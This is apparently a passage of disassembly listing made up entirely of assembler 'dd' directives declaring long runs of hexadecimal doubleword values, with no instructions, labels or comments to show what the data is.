		dd 0B5C7D89h, 85ADD2A0h, 309ECC13h, 4A65BE72h, 763C795Ch
		dd 509D2E54h, 5417D13h,	383A01ABh, 60C286B7h, 538133E2h
		dd 0EEE029E5h, 4B259E3Bh, 0AAFDE868h, 9CDD91B5h, 0D4788EE4h
		dd 0A84F4D75h, 843E51D4h, 666E0429h, 3DC6A484h,	4EECBF50h
		dd 0CC4F75F8h, 0F87E2DBFh, 56BD9272h, 2CF6E0F0h, 3E5CBB61h
		dd 0B1221810h, 98F9F319h, 890D2D1Ah, 5189B4E5h,	9639D15Bh
		dd 13F7E331h, 0FDB95FD2h, 0A5EFA897h, 2EE0EC00h, 381033Eh
		dd 3F09B1E3h, 10B6D123h, 47383309h, 0F8A4DF73h,	9441487h
		dd 0EA108209h, 8D405491h, 455FB8C5h, 0B27A9577h, 30E893B3h
		dd 72826FA1h, 26EDC079h, 4B48971Fh, 4014A801h, 0F325E908h
		dd 40C479A6h, 0EA1CB4E3h, 30FF464Bh, 0AA342F1Eh, 1E20E9F6h
		dd 0A0875A9Dh, 205BC178h, 0EED629A9h, 0C6946091h, 92EE8B7Ah
		dd 0E6B1230Bh, 49FEB4A8h, 35DB7E80h, 56606B25h,	0E9602A3Ch
		dd 0B25F9753h, 129F43B5h, 0AAB06E96h, 2F51F828h, 0D5F8C189h
		dd 7772586Bh, 4D27ECC6h, 92DB5971h, 0EFC68546h,	8CC494A2h
		dd 747BD615h, 2D1F70B7h, 0CE6040Ah, 0C7F8565Fh,	0FABA12B4h
		dd 79884D39h, 0BB02AC1Bh, 61D9011Eh, 39CFA58Ah,	0C337D86Fh
		dd 0F9B5B708h, 7651E45Ch, 4B542848h, 0FE28BA5Fh, 6FBD413Ah
		dd 136690E0h, 0BD20EA68h, 0B6520A5Ah, 0A114A5ECh, 6168C492h
		dd 0CF165DADh, 10D2F35Ch, 0C04ABB4Bh, 142EE184h, 954F312Eh
		dd 80018410h, 0CBFE9CF3h, 0EB8820F6h, 0FEB768B2h, 700159A9h
		dd 194B75D3h, 0CD5F33B3h, 27C36008h, 0E0C7EA62h, 0C19F0C03h
		dd 28EFB75Ah, 1D9A4143h, 0F9255776h, 3B16DDC2h,	8297BDFCh
		dd 62CE01FCh, 0A42357E5h, 0BFBC8359h, 5C2FF1CBh, 10E0C6C4h
		dd 0EE7886AAh, 0FB54710Dh, 0B87FE650h, 93A3B18Bh, 0E404EC3Fh
		dd 0BE5A19CBh, 0B57E42Bh, 8C99D113h, 5531687Ch,	0B8641D21h
		dd 1E7B9739h, 0D6726EF9h, 3B11ADC0h, 0A8B198D2h, 1F81B8A2h
		dd 1198254h, 1A770DD8h,	0CBF4CAA0h, 0B6363501h,	268F850h
		dd 48BB0D10h, 72FB077Ah, 7BB3AC33h, 0D0BD0F52h,	5D25505Ah
		dd 0AE141388h, 8DD2665Eh, 794133A1h, 0F66D2158h, 1EDE522Fh
		dd 73C7DE27h, 11022EF3h, 31537BBBh, 6FE05F27h, 55BE8C1h
		dd 33154EFh, 25893910h,	1CF7D666h, 7AEBC343h, 0C080B551h
		dd 0DDF606EDh, 79B0F5FCh, 0F30BD24Bh, 7C13A95Ch, 2142CCFh
		dd 77D48533h, 0A89C8AF7h, 5F615316h, 402FBC66h,	4B735150h
		dd 5501520Ch, 0FC5F5C68h, 0C9705D49h, 0D8F9E03h, 64E37F17h
		dd 371A02E9h, 0BF25B71h, 20C4FA07h, 42CB582h, 0C60CAF60h
		dd 9BD3CA3h, 37E7D4Ah, 0F81600FFh, 0BC729B45h, 2ED101Fh
		dd 1979D9E5h, 0FA12C059h, 1A4E58FBh, 92E9EB0Bh,	0EA2D39A0h
		dd 4A5F674Dh, 58076110h, 9BE982C7h, 0D5A975C3h,	2F2A9E09h
		dd 951A00D8h, 0F931086Ah, 0C2D958A1h, 9A40DF09h, 0E2602043h
		dd 524BCE82h, 0E90F0BF4h, 2A5A303Ch, 5BBEF15Dh,	680964CAh
		dd 799A4026h, 29B398F5h, 0CDE913FEh, 4E2DAAA0h,	4BA71860h
		dd 0E361BE80h, 0FA4174B5h, 312B3468h, 7EE2E93Ah, 3F16EF4h
		dd 2D679E60h, 0AFE9C831h, 92176646h, 0E9BDC8FFh, 2321F627h
		dd 74BEC362h, 46EE048Bh, 0C2C1147Ah, 3C604EC9h,	0A22D42BAh
		dd 587E70EDh, 0AD027F50h, 8162B761h, 0E4F316C0h, 6BBE89E4h
		dd 0CEA2FF0Dh, 0BAFB24h, 209F53D9h, 7F62B850h, 2913AB0Bh
		dd 8833E5C2h, 2D13E4E1h, 52743F9h, 5FB04DF2h, 0DBD8305Ch
		dd 76EED170h, 0ED8416Bh, 31F3D2Ah, 0AD6B002h, 0BA352AE9h
		dd 522731D2h, 775A369h,	753459A2h, 78FECA4Ch, 9BABD40h
		dd 39700B4Bh, 412513A0h, 0C01BE35h, 0BB26C30Dh,	0DAD84842h
		dd 1FF3097Dh, 3D4136E9h, 0CEA22A66h, 6D62BF58h,	0BB1808E5h
		dd 0DE1217E3h, 5C70F033h, 31F9B802h, 442065E9h,	21E509D3h
		dd 0ECF6448Eh, 3B0D688h, 0EA497DBFh, 5B62FC85h,	5F7C79B0h
		dd 10E28A95h, 5F256769h, 5A9FB155h, 0D678BD3Ah,	0EA84EBB8h
		dd 0F5121E72h, 0DC23B331h, 30825802h, 58802805h, 16856313h
		dd 0A4021198h, 895838D5h, 0F11A60D9h, 0A082B840h, 0FA0E9B2h
		dd 87617E62h, 8DEF786h,	0DD3F683Ch, 0B6909C45h,	0BFE68101h
		dd 3868977Ah, 0F99810A1h, 6267094Bh, 40BD7E70h,	24562D0Dh
		dd 3561857h, 0FF10393h,	0C25E1E0h, 0D55DE828h, 75B7AC4Ah
		dd 0AD24EA48h, 6B95AC08h, 0C0FA65DDh, 0BE3BE95Ch, 75522FB6h
		dd 0C525EDEEh, 8B9A6558h, 0C3B9579Fh, 0D993A4Dh, 11714831h
		dd 8571EA2Eh, 7D8168BBh, 824D91EDh, 77353076h, 0AADBAF13h
		dd 0F15382A4h, 9742312Eh, 5921D881h, 0DEECFC27h, 1A026939h
		dd 34223302h, 7B98FD32h, 0F2BB030Bh, 0D6DDE989h, 0D1B90125h
		dd 707ABA04h, 0F91B1E0h, 743D2101h, 853B093Fh, 6042CEA4h
		dd 2ECFBEDAh, 0B8584B5Dh, 68004B7Eh, 8440A3E6h,	86D29744h
		dd 8007C604h, 50D4780Bh, 6E55F780h, 12234821h, 99F9B925h
		dd 449C7BA5h, 0A5A6A1FAh
		dd 21CFD596h, 0E143B24h, 7B4A7C3h, 2B0DBF90h, 70253D2Eh
		dd 57727D16h, 0C300AAD6h, 3CCC853Dh, 4FDBB031h,	66ED0B8Ah
		dd 8CDF6755h, 0E51144CCh, 655D17B0h, 0DBEF4A95h, 0AEE9097Ch
		dd 502F1877h, 0B8DC5FB4h, 0EC057342h, 0FBB75303h, 0B20BEDCBh
		dd 99DF66C8h, 3F4932h, 55B50553h, 0F2F43809h, 0C12A404Ch
		dd 7E6C4C0Fh, 498242h, 4453972Dh, 0BC46F4Ah, 33010713h
		dd 18D408A3h, 0BF147D60h, 0C1074325h, 0ED51E80Fh, 0B0B2FB2Fh
		dd 2741655Dh, 830B1FDEh, 85C5F5B8h, 89AC5208h, 66FD5DEEh
		dd 0A9C61CF2h, 84CCD7DEh, 0B3B0AE83h, 0EE784A40h, 9EC5DD9h
		dd 0B7A3B703h, 0F493FE88h, 0FCA5CBDAh, 0C1BF675Ch, 0C6FF7BC1h
		dd 941345FDh, 722A97FDh, 4E998010h, 143A0115h, 0C5EAB4BFh
		dd 4BE2BEBh, 0D8B9937Ch, 0D17B882Bh, 242EF949h,	9370965Ah
		dd 382D481Ah, 1D694F3Bh, 0D98980DFh, 0FA71B050h, 0AF9E5F5Bh
		dd 97098D5Eh, 845DDC8Dh, 0F2DA2051h, 52508C50h,	0EF6A99B5h
		dd 40976ECDh, 9F38E48Fh, 2B0C1960h, 13D9357Ah, 0DDC14CE9h
		dd 0B8C96B0Ch, 5E21822Eh, 58C0D657h, 6F5438E9h,	4EBA4B1h
		dd 3483ECABh, 0C417119Ch, 98D56EEh, 9BD779D1h, 7EBC9FEh
		dd 680B1A73h, 0A75E34AFh, 53FB75DAh, 5096E068h,	7FB0CDEAh
		dd 9ACB24B9h, 0D9B155A0h, 1262EB80h, 77281906h,	6BB108Eh
		dd 1E7966DAh, 21E90206h, 5E5F16E5h, 0C19B4001h,	47F52263h
		dd 0C774ABDh, 1EFA0C08h, 0C9695914h, 9CFFABDAh,	9FF4326Eh
		dd 0E67D4356h, 5D64F837h, 9307B783h, 358D1F01h,	18CCCEC7h
		dd 6899B33Dh, 0FC534C0Ah, 122156CFh, 2E5CB131h,	88192BDh
		dd 6B3FFCE9h, 557A4FB6h, 192C8F66h, 40B5F5B7h, 277235EDh
		dd 82F429D8h, 0DFC7E295h, 5569DFFBh, 8B672859h,	30345D79h
		dd 0C9216825h, 0C27EA833h, 0B27566B3h, 8224F193h, 677A5105h
		dd 0AFB20F5h, 0EC37255Fh, 6B930CF3h, 670C1673h,	77132417h
		dd 0D7E938C0h, 0FE71C584h, 3AFB9957h, 0BF4BB58Fh, 0A099F29h
		dd 0E3667820h, 0B5AAD22Fh, 81CAF3FDh, 83CB5DBEh, 33072BF0h
		dd 7D6E8950h, 26A2F36Ah, 534EA6D8h, 190064ECh, 0E581149Fh
		dd 0D2C36440h, 0CF01ED83h, 0DAB28A37h, 0A92EC1A1h, 89B24E03h
		dd 0E8010E48h, 5D5644C1h, 0AC2011D3h, 0DE4717E1h, 1141AF7Fh
		dd 5B2603EDh, 1065C1FEh, 0CB8BA67Fh, 58C14650h,	53109801h
		dd 478F0FAAh, 6D990640h, 0FBBD047Ch, 0BA341408h, 3E8604E2h
		dd 0BF051041h, 44E72EA4h, 42871DFBh, 0FA0102E3h, 77492554h
		dd 5D0A2282h, 107B8807h, 0B6332AEFh, 0D0B1819Eh, 3F891141h
		dd 42805C12h, 0E6B5C780h, 28102DF7h, 33B78B77h,	0F7075A74h
		dd 5C64BD1h, 0A5422086h, 1A98D6BFh, 0AFDDE129h,	399F2C25h
		dd 0F281024Ah, 464E2CEBh, 61319078h, 805A55B2h,	0F6C04BE0h
		dd 0F7F69D06h, 529FEFACh, 71F3AB96h, 0C4E4F25Eh, 0CBC6CEBh
		dd 476FEC4h, 38BB505Bh,	7DE619D6h, 0B55B831h, 26BB0E9h
		dd 28BFB354h, 0E21A01F5h, 10CFC066h, 7C748F98h,	67646813h
		dd 651756CCh, 84F71169h, 40F3F4A3h, 742F739Ch, 5636514Bh
		dd 0C25066ABh, 8E413BA8h, 0C901C6E0h, 0C4DDD7D4h, 0A59B2026h
		dd 58C20914h, 12C500A9h, 43681FE8h, 1C59C948h, 0F1F520F7h
		dd 713C2E20h, 59580151h, 6D255A35h, 2E12E1Bh, 59F403E0h
		dd 520F256Bh, 0EE36C546h, 2D08BE50h, 9228E558h,	0AA23576Ah
		dd 5325949Bh, 0C8E8F6F4h, 6058A53Dh, 2F70C76Bh,	0EB030BB1h
		dd 0A4FC4840h, 0FE992DF5h, 516D0500h, 2AE9A5D4h, 0A09B4225h
		dd 5F3509DFh, 6A18B5B6h, 844DE709h, 0C316A62Fh,	5DCA55ACh
		dd 6F19C6Ah, 5C0542h, 0FE5433BAh, 4F502EC4h, 116D680Bh
		dd 0F112CB28h, 31002B41h, 0DC3A4AC7h, 7F2BD4Bh,	0A8050883h
		dd 165F7E6Eh, 0D44C90AEh, 3F76BF3Eh, 8094F53Ch,	0EF017974h
		dd 978F70E9h, 0CD9246FEh, 0F3AA7FC4h, 4A14C9F7h, 219485E9h
		dd 97E8C7D5h, 0BBBE610h, 0E1D15Ah, 546E94A7h, 0B1315A4Ah
		dd 5D97D9Bh, 0BB2A6496h, 8948C44Fh, 1375CD0h, 0D12D1135h
		dd 0CDF9CC47h, 0BBDECF8h, 0B28B7DD9h, 776AAB5Eh, 654AE225h
		dd 2D15BF75h, 0B5076057h, 2E525181h, 7877DEA9h,	3FFA5872h
		dd 8F052827h, 4C1B8143h, 0C8680041h, 3CE29321h,	6EA43202h
		dd 0FA63C583h, 0C1AB7E98h, 0C27C35B8h, 59F8769Dh, 66F7DE68h
		dd 0B850075Ah, 7B7B74D4h, 803AC8DCh, 9DBA6073h,	9D4BF806h
		dd 1C208D4h, 10F657C2h,	0BE00F6C4h, 21F05FCh, 0EDAD315Eh
		dd 722818Ch, 0EE0C3265h, 0DFF89A25h, 14561E60h,	0E914167Ch
		dd 85E320A0h, 0A109FA87h, 0DB9BA2FFh, 9EB3006Ch, 302798B2h
		dd 1295FDAh, 1D28FA80h,	4820449h, 248205D2h, 0D05605B6h
		dd 0BC790A63h, 36EC635Ah, 9B380741h, 370F78Fh, 0EB0EE405h
		dd 7592D250h, 0AE5D0A04h, 1E5FD17Ch, 1302EE83h,	0E030BA34h
		dd 956A18E9h, 82242A59h, 35C9B412h, 65229540h, 0F86F5E16h
		dd 6282505Ch, 0BDEE6A44h, 7F4108CAh, 5459F4CEh,	0F5F8685Fh
		dd 0D3BFB95Eh, 9933500Ch, 96BEEED6h, 0BFF42D9Dh, 88BF57C3h
		dd 162CDA4Bh, 0FF5FF921h, 2264A301h, 892419EAh,	1023022Dh
		dd 0D8295675h, 0ABC2335Eh, 0C47F0B9Ch, 2A29C17h, 50093880h
		dd 550B8955h, 0F1213981h, 70F705Eh, 121C5EBFh, 0B9FB8056h
		dd 8E2F36EDh, 80A2D46Ah, 0FBCC75C2h, 0DC0B0532h, 66CCE67h
		dd 97C87D90h, 560024BEh, 7962CDBEh, 0B874E38h, 0D76BE9FEh
		dd 5B1C9152h, 0FAED724Bh, 0ED037B45h, 6A7BCD52h, 8218798h
		dd 0FEBFEF82h, 0D15F6932h, 10D7CBD1h, 8369225Ah, 1EB5C65Bh
		dd 0B1B144ECh, 0EB813EEEh, 15EA4E27h, 0F9CDA05Fh, 24AE6933h
		dd 0E684B429h, 84BBD4EBh, 0C26FF7E7h, 75ADF6E9h, 0AE0BA5D9h
		dd 6F39D620h, 4BB3E324h, 6245F5EBh, 0C300C79Ch,	0F67EB450h
		dd 940995D4h, 0BDA266DFh, 0B519508Ch, 0C5FE7E17h, 7910EEB8h
		dd 7B5F2517h, 52EA17D0h, 572F079h, 0E07411EEh, 1F5C2BFh
		dd 4260E907h, 238C473Eh, 0EA663458h, 0BBFBF88h,	74332BA5h
		dd 98270AF4h, 0A9F499C2h, 0EC3BEB9Dh, 70C0B768h, 0A91AEF0Eh
		dd 844C3C1h, 3AE7E80h, 20A1B05Dh, 8102E4F8h, 4F3FDFE2h
		dd 0A0E58376h, 19DF0C8h, 65ECC5FAh, 9DA7BEABh, 4706CF4Dh
		dd 0FA196312h, 1D90925Bh, 7BD472D8h, 0BFF96B6Ah, 0B12018FAh
		dd 0FA525F3Ah, 4280B83Dh, 72941460h, 1309C981h,	799527h
		dd 4365EFFDh, 0E49630Bh, 0D5F762A3h, 14F5E029h,	0E1D38A67h
		dd 369A044Eh, 201AF580h, 0FC784902h, 0D243BE00h, 0E9CB312Fh
		dd 51E0F027h, 54520B63h, 1EA492D9h, 0D909F41Ch,	80A8002Ch
		dd 244F037Dh, 89E976E9h, 7B89D830h, 897D1D42h, 6DEA59D5h
		dd 3EF62EA5h, 62BE414Eh, 3E72A971h, 9EB91380h, 8D56248Eh
		dd 0F152278Dh, 0A5F9013Bh, 0FF6FC202h, 5A210873h, 6FFB6804h
		dd 0BB7ACCFEh, 25B310Bh, 147F213Fh, 9340621Eh, 50AD384Fh
		dd 0A8F2CD43h, 0B99EB9Eh, 5F4CAB18h, 4E093550h,	55A0ADE9h
		dd 0E4F253C4h, 0BE321F4Fh, 155DC41h, 4B0B29BAh,	319F4750h
		dd 2C283D44h, 0A719106Bh, 0D3E4835Ah, 7D507CC9h, 65723EFDh
		dd 0B9B85F42h, 12AD5912h, 0C714BA77h, 38784867h, 1E3F1E79h
		dd 1CF6F312h, 70E8EB00h, 89E93686h, 0CDD1B860h,	58D60F2Ah
		dd 0AC0F8544h, 18383970h, 482F1A28h, 1074D854h,	67D8331h
		dd 2E9B79C7h, 2D22090Ch, 1CD5638Fh, 6160951Bh, 993E2077h
		dd 90EF9D75h, 80576709h
		dd 0BD5F1159h, 0CA0CC756h, 0E9E65261h, 2543F8F5h, 0AC145954h
		dd 1FE95109h, 886D6873h, 4A03E4F0h, 93AFA858h, 94689C02h
		dd 9C3C5933h, 0A014562Dh, 0F52F1FD5h, 0D17E4337h, 8B309D61h
		dd 3F8E41D1h, 0EE0643FCh, 8305859h, 0DB4B08FEh,	0AA84D8ADh
		dd 7FB80145h, 6560E501h, 41A55AC8h, 16F18274h, 79006A68h
		dd 0ED59A12Dh, 5342B744h, 95E0700h, 0FE49E9C2h,	4F354F4Bh
		dd 59FDC8FAh, 1E81FC9Dh, 0B375EF9Ch, 835AD99Eh,	0F529FD8Bh
		dd 5478E980h, 60BE4BD1h, 0B5AB5E12h, 7CFA2AD3h,	464DE9E9h
		dd 305A0B4Dh, 0B51B22FEh, 692578Eh, 0F22C5F84h,	8154776Eh
		dd 470FBA0Fh, 60454026h, 0ABDD16EAh, 0D00906DAh, 36A4E5E9h
		dd 39AE6818h, 956CFB71h, 0B20854DBh, 0BB546461h, 188E5580h
		dd 0E4BFA05Eh, 3133CD81h, 0A36AD222h, 2772080Ah, 78A5FEF4h
		dd 0D772BDEAh, 24415D24h, 0E495490Bh, 0F46E9091h, 0F367538Eh
		dd 125BD058h, 0DF91EB90h, 20A7E840h, 0B058A0FCh, 0E8C0169Ah
		dd 47983506h, 0BBBEDFFh, 68AAB8F7h, 0D7642690h,	0A7501518h
		dd 2EBC003h, 69AFCB80h,	2E195F41h, 25C950Bh, 9DE2E39h
		dd 0F8406778h, 675709BAh, 95F3695h, 0EFA07F5Fh,	4FD17E31h
		dd 0B5C7789Dh, 86E959E0h, 57B79E6Bh, 0C9BB99AFh, 417ACAB0h
		dd 3FB48A5Ch, 0F317E065h, 4AF15890h, 526DC06Fh,	0BC0B6851h
		dd 327F301Ch, 66B500F3h, 5A30A38h, 52E9CA89h, 824FE469h
		dd 0DCD1805Eh, 90071458h, 52663DC5h, 30A4B209h,	0F589E0D5h
		dd 0FAE917F4h, 1499C21h, 0CD2DCE5Dh, 883E27D7h,	36099479h
		dd 5E02DAh, 0C3589887h,	2B2D4857h, 0AF16E216h, 0D5FC8AC3h
		dd 96FB865Eh, 61A70B04h, 2BFFA15Fh, 0D10F08Bh, 5EAC5A1Bh
		dd 55ED8C97h, 345F10B7h, 3D0181D1h, 425F258Dh, 8C2C905Bh
		dd 9E89D9Bh, 0C6976E3Ch, 1870F10h, 52C171C3h, 6AED64E9h
		dd 0E8D7B5ACh, 322C0B66h, 16B926Bh, 1C875F08h, 939DE27Ah
		dd 41CFBFE4h, 0B5894763h, 0F2319465h, 0D6BFD019h, 5CD390AEh
		dd 555D3068h, 6C6984C2h, 4BA3CEEFh, 946093ABh, 0D2687716h
		dd 3CDEF1ACh, 13B46A9h,	3481010Ah, 0C953A31h, 71F7CE21h
		dd 0DB05B632h, 0AADD7BF3h, 0A24FEF8Eh, 89C90F14h, 0AD80F63Bh
		dd 0D2A455E9h, 75F0EB44h, 8999C948h, 68617979h,	4B336D18h
		dd 0FBCBAA4Bh, 305B0B47h, 27CBE967h, 0B56EC082h, 29B22C3Bh
		dd 800A1DDDh, 0E6811719h, 2C3B2175h, 0BCEE026Eh, 55ACECFAh
		dd 0EB80CFD4h, 0E9303615h, 0AF819FA6h, 0CEDAF792h, 6C95A78h
		dd 957BFE05h, 0EA4CB17Bh, 65018304h, 0FE8A8077h, 602A143h
		dd 0F9AE5305h, 0E916C081h, 547069EFh, 31226055h, 6B8BB6DEh
		dd 0F6E92D18h, 622D559Eh, 0ECA770F1h, 93401E53h, 0BEE69726h
		dd 0B239D8D3h, 0F722E086h, 8021490h, 0C405CA10h, 0C051F224h
		dd 80456910h, 2A2DBF13h, 8FFA9F1Eh, 3341797Dh, 0BD7B99F0h
		dd 0C80B8EFBh, 69F174B5h, 8A035609h, 8C7A6C1Fh,	171D7716h
		dd 0F9AC190Bh, 0CC1C0B83h, 0BFECC55Fh, 0A4699224h, 7C2538CCh
		dd 7EFC5264h, 0D3B8604Bh, 121AB3E5h, 0E0A0DCE9h, 51800025h
		dd 84350834h, 1B3DAF16h, 64F90B05h, 2F22F4E4h, 3525EF44h
		dd 43BA560Fh, 0D8AE5B04h, 0DF9428FAh, 5634B803h, 0C4BBECB4h
		dd 2E58E874h, 3A80BDCh,	0EAF7C798h, 0C68BFC57h,	2E22C0EBh
		dd 3C77279Ch, 65C115C0h, 0D16070E5h, 0B55E9D40h, 0BF647951h
		dd 654A09FCh, 0A370BAAh, 80DD025Fh, 1D541A55h, 178A2F88h
		dd 47240459h, 889BD197h, 931E92E6h, 69A3ADFCh, 8FBD1702h
		dd 4068283Ah, 552E22h, 0E781274Bh, 460335CFh, 51D7F727h
		dd 21980295h, 0B56043A3h, 5748565Fh, 33DD04B4h,	80EA45D6h
		dd 123E259h, 0AF5120F7h, 0A4958254h, 11473Dh, 0AA3ED81h
		dd 0B8551D6Ch, 12A6B41Eh, 0E4F2A15Fh, 12D7BFBBh, 0E2405FCAh
		dd 1E616026h, 0F6809EB6h, 725407Ah, 72FD7675h, 1BA0610h
		dd 33291204h, 4D8BCA31h, 0E9D12103h, 0E2516EBh,	0B47B7AB8h
		dd 2B923E48h, 4D2AA7D1h, 0B0688294h, 99AF6C02h,	0E3D425FCh
		dd 6E29582Fh, 998145C5h, 7B0FC658h, 800C4F5h, 0B5609AE9h
		dd 0B7F43466h, 9FED5AB7h, 0EF7F5AC2h, 496C8C3Fh, 5102E61Bh
		dd 0CE288AB1h, 6E617559h, 7E01159Dh, 0DE305FB3h, 0F388C06Bh
		dd 8857AAE9h, 2ED1F30h,	0E9525C93h, 912FACB8h, 96AC1A56h
		dd 0A08FF414h, 1685352h, 4D411917h, 60DBF75Bh, 0AE3A79A7h
		dd 30E9BD08h, 0D6CB6D8Ch, 0DB52C72h, 8E641FB0h,	0C96539BDh
		dd 3925FEC6h, 0FEB60F09h, 74E5EB94h, 0DE63188Bh, 8AF5621Ch
		dd 263C06D9h, 77ADDC22h, 5FF82990h, 0FA31D183h,	0C0630EE0h
		dd 1C6CB9E1h, 215C7380h, 4EB74CBBh, 0E23AC214h,	3A6875F6h
		dd 0F54E3158h, 81AB1534h, 2AD97C02h, 0DBCB3AB8h, 584BAD58h
		dd 182033F5h, 0EF53C091h, 7B5A15E5h, 0AA880CC1h, 0BD3EC4BFh
		dd 0DD9B1665h, 0FBAE04AFh, 0AEBD006Dh, 0F83ED37Eh, 63A4A1D5h
		dd 51CBBE28h, 0F89D0950h, 0C4F197BCh, 0F05457C5h, 0CDCFD3C0h
		dd 36D66809h, 4E5236F6h, 405B38FDh, 878FAB4Bh, 103C562Eh
		dd 0D2B21D69h, 0AF9149C9h, 0C166A90Fh, 37F45E0h, 125A7450h
		dd 0CE510C04h, 94E28805h, 8AB680Bh, 9E93269Ah, 0C60AA292h
		dd 4B12B08h, 845BDD31h,	0E256FB47h, 11CBC21Dh, 2FDFAD4h
		dd 6744BB53h, 5AD861EFh, 43FC64A0h, 45FB14D6h, 946BA44Ah
		dd 4FEBECEEh, 2F7DFCB9h, 34558870h, 84464B1Ch, 9F0BFEB7h
		dd 4C9770B1h, 9D28258h,	18DFB3DAh, 80E8DFBEh, 68045755h
		dd 5FD30D1Ah, 0DB9F67EAh, 56E97F22h, 5A17E274h,	0FE05DE28h
		dd 0D7975E02h, 0ADBD689Fh, 7D6E890Dh, 0CF24EF9Ch, 92A6CD9Ch
		dd 0DC7DBB0Bh, 0D9057092h, 332F2D01h, 89585B50h, 0CDEB9745h
		dd 0A1E83EDAh, 2F55D0A1h, 0BD9C9666h, 0BA2D3964h, 0A71AC9C8h
		dd 0B9C3012Fh, 69B62A06h, 0F0331B7h, 0C587CF01h, 31545159h
		dd 2A56C968h, 0DC41E7CBh, 3169B57Ah, 908ADC49h,	0E617C3BAh
		dd 0EAA8F708h, 8B2BAC06h, 0D8380C68h, 0F844255Eh, 554A01CAh
		dd 0CF5FA1BDh, 0F7172E28h, 404ECDD0h, 0D79B4F85h, 1274C440h
		dd 10C22099h, 479C5DAFh, 0A325878Ch, 7AB807EFh,	6F29615Bh
		dd 0B7F071ABh, 774E6874h, 0BE5392h, 4849CA81h, 62F93Bh
		dd 5CA872EAh, 16D32994h, 0B9A43FE9h, 166C58Bh, 8F6F4008h
		dd 0C9537B68h, 7FA0416Ah, 48482308h, 5F10592h, 38B11B19h
		dd 86AE856Ah, 862D9DC5h, 4EDA1850h, 4C108363h, 87009956h
		dd 2F281FAh, 2E017D58h,	3EEB6850h, 1E49C97h, 0E806D7C2h
		dd 6E721316h, 0AEA395FFh, 0A0C14FD7h, 6828069Eh, 186D710h
		dd 1B0830BAh, 3EA0316Ah, 0AC270FC6h, 0EE214332h, 495F15E9h
		dd 7659CD4Fh, 7D03932Ah, 0AA38647Bh, 40650CDh, 5C4D4805h
		dd 1092BD69h, 0EC5F29A8h, 0B3B18D3Ah, 891E8F2Ch, 41808CF2h
		dd 2D07D027h, 77405F59h, 0AE7F2950h, 6903B011h,	725CE9C5h
		dd 8412E50Eh, 47E83FBDh, 0FB9BF44Bh, 0FCEEFD1Eh, 3749EB57h
		dd 6F52DE76h, 0F4989904h, 0AD5E2C10h, 0D8EAAD25h, 14A210Dh
		dd 3FE64540h, 0B02DCC45h, 0A5B1C6Ch, 0BF29D3AEh, 723F3F31h
		dd 9ADF69A5h, 0D405F7Ah, 265A7C68h, 0F260FF8Ch,	4029FAA1h
		dd 4A09E2C2h, 75610A3Eh, 1B6BC003h, 0C4018B16h,	0D8385356h
		dd 0B822D2C1h, 61EF4AEDh, 7C54A8CFh, 1AA29387h,	5665FAD7h
		dd 0B8000AE3h, 5AC64F71h, 15735CBDh, 63F8194Eh,	0E24EC242h
		dd 45E4873h, 0B0643D8h
		dd 3396B680h, 0CA42690Dh, 0F4C11E0Dh, 841E0BC1h, 0CCC914B6h
		dd 0BC91F9B1h, 28054826h, 49D90FEDh, 0DF096BCFh, 0ABE96D21h
		dd 0DF416F76h, 0E98632Bh, 12977620h, 0EB7C2960h, 2A6F0E01h
		dd 8D00611Ah, 1F4CDDAFh, 12658CEh, 77079F68h, 0C4BB5D3Fh
		dd 0B8504D00h, 6F25AC75h, 78A6E925h, 4ECCBD74h,	8858B301h
		dd 0DD045BD9h, 493A873Ah, 0B33196FDh, 2DE905C8h, 21F2EFFAh
		dd 0E7F55E25h, 94F72D78h, 62843237h, 5FC44A10h,	2F3D6036h
		dd 99DE9722h, 2039BA26h, 0F1092466h, 0E24E13FEh, 34D09FA7h
		dd 0E82910h, 0E1C0C9FEh, 0F8D1F606h, 975092CAh,	0AFFB9204h
		dd 8BEB7517h, 74F31024h, 8472854Bh, 0F8A1AF03h,	897D0CA5h
		dd 1474DC04h, 0C95016EFh, 7FA4A229h, 53A68220h,	16957F07h
		dd 327795A4h, 896B43C9h, 0E93E793Ah, 0C3815F18h, 0E60706Fh
		dd 809A40EBh, 6C220EAh,	0E2C3287Ch, 8D0ADD3Dh, 9CD5A574h
		dd 6E769546h, 26A41E6Dh, 847D09B3h, 0C791935Dh,	0D70B1407h
		dd 9AFA0814h, 0F9BFC3B2h, 45556BE8h, 0C740AD9Fh, 165435E9h
		dd 595ECAC1h, 5B4CCDA6h, 0F93E33Ch, 81981A65h, 3B0DE261h
		dd 5F854B44h, 82405F99h, 98651340h, 7D5A2784h, 6B14BBDBh
		dd 5EF185A6h, 2C8C8A2h,	0F020A2CBh, 80855E62h, 8B569B4h
		dd 0B90ECB81h, 0CE457E5Fh, 0C26E02F3h, 6FE5F5Eh, 2639F201h
		dd 6D20703Ah, 76489FF1h, 2924E444h, 2FBF2597h, 34C4407Ch
		dd 81FD953Fh, 3BB75395h, 1257A62Eh, 33A85C33h, 2AC7B4A1h
		dd 93107EE2h, 71F85AA4h, 6704235h, 0C306B06h, 0E2CB660Fh
		dd 0B2ED44D4h, 53AFB4FEh, 37575Ah, 7E1ED306h, 0C0EA2F54h
		dd 405DBAD5h, 273B8480h, 0D2D27E20h, 278026Bh, 5CA9ECD3h
		dd 0A87A50A2h, 5C99E8BFh, 3D3E2437h, 5AA310BCh,	13E748B0h
		dd 106F443Ch, 0FF27C9CDh, 0C8639259h, 0C5613B62h, 8A50582h
		dd 0FDC1E801h, 5F640227h, 729792F0h, 86816CCh, 948C6754h
		dd 0EB92985Fh, 5A175EB5h, 25EB6F5Dh, 2775EC75h,	9B4458D1h
		dd 2B711B1Eh, 16F1E8DDh, 0C7DD05B0h, 0E06F5F65h, 4D000AA3h
		dd 7D2D6FD6h, 0BF0879D5h, 0F975B589h, 0D8290B4Dh, 0C611CFDh
		dd 5EBC14Bh, 300002C0h,	6A2DF907h, 0C22E2C18h, 3FC5E938h
		dd 0C7C17590h, 9BB22328h, 86D089Dh, 47D71C31h, 0CF6B50E5h
		dd 0F82F7E02h, 9DB055B7h, 0CA398852h, 92D1BA51h, 0E920870Ch
		dd 97AF0FE9h, 2DC54759h, 0E684A8BCh, 5234000Ah,	1D58C728h
		dd 8943F780h, 0F9875BF8h, 0F9B2D253h, 5041FD71h, 0AC2BD088h
		dd 11E250Ah, 39F8BE3Fh,	4CF737F4h, 0A51039D6h, 0F0292D99h
		dd 7F49BDF7h, 89A17F5Ah, 90029330h, 0F1140B2Ch,	0F484E090h
		dd 64DBE382h, 71940C48h, 48426972h, 50118DBCh, 0BA3CD4Fh
		dd 2916D01Dh, 407F688h,	0FC1E1BE9h, 0A3BEE403h,	13EE1852h
